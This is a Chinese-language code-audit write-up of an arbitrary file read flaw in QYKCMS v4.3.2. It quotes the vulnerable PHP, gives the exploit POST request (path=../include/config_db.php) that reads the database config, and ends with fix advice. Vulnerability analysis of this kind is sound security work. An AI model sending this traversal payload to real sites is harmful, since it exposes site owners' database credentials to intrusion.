【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

时间:2020-12-08 16:48:48

 

0x00 环境准备

QYKCMS官网:http://www.qykcms.com/

网站源码版本:QYKCMS_v4.3.2(企业站主题)

程序源码下载:http://bbs.qingyunke.com/thread-13.htm

测试网站首页:

 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

0x01 代码分析

1、漏洞文件位置:/admin_system/include/show/template.php  第1-22行:

  1. <?php  
  2. $path=strtolower(arg('path','post','url'));  
  3. if(strstr($path,setup_webfolder.$website['webid'].'/')){  
  4.     $file=explode(setup_webfolder.$website['webid'].'/',$path);  
  5.     $file=$file[1];  
  6. }else{  
  7.     $file=$path;  
  8.     if(!$website['isadmin'])die('{error:文件不存在}');  
  9.     }  

10. $content='';  

11. $path2=iconv("utf-8","gb2312",$path);  

12. if(is_dir($path2)){  

  1. 13.     die('{error:暂未支持直接创建文件,请通过上传方式创建}');  

14. }else{  

  1. 15.     @$ftype=end(explode('.',$path));  
  2. 16.     @$content=file_get_contents($path2) or ajaxreturn(1,'文件无法读取,请检查读写权限');  
  3. 17.     $content=str_replace('</script>','{script_tag_end}',$content);  
  4. 18.     $content=str_replace('{filecode}','{filecode_tag}',$content);  
  5. 19.     $content=trim($content,'\r\n');  
  6. 20.     $content=trim($content,'\r');  
  7. 21.     $content=trim($content,'\n');  
  8. 22.     }  

这段代码中接收path参数,然后进行转码处理,注意看红色代码部分,接着判断是否是一个目录,然后带入file_get_contents函数中执行,可以看到path参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

0x02 漏洞利用

1、QYKCMS默认数据库配置文件存放在\include\config_db.php中,我们构造一个路径去读取数据库敏感信息,成功执行。

http://127.0.0.1/admin_system/api.php

POST: admin=admin&key=682b82f8dc3b753d6eb9ceafd5a64301&log=show&desc=template&path=../include/config_db.php

 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

2、执行成功后,页面空白一片,我们通过右键查看页面源代码,发现config_db.php文件代码已经显示出来了。

 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

0x03 修复建议

1、指定文件读取目录,过滤.(点)等可能的恶意字符,防止目录跳转,最为推荐的方法;

2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析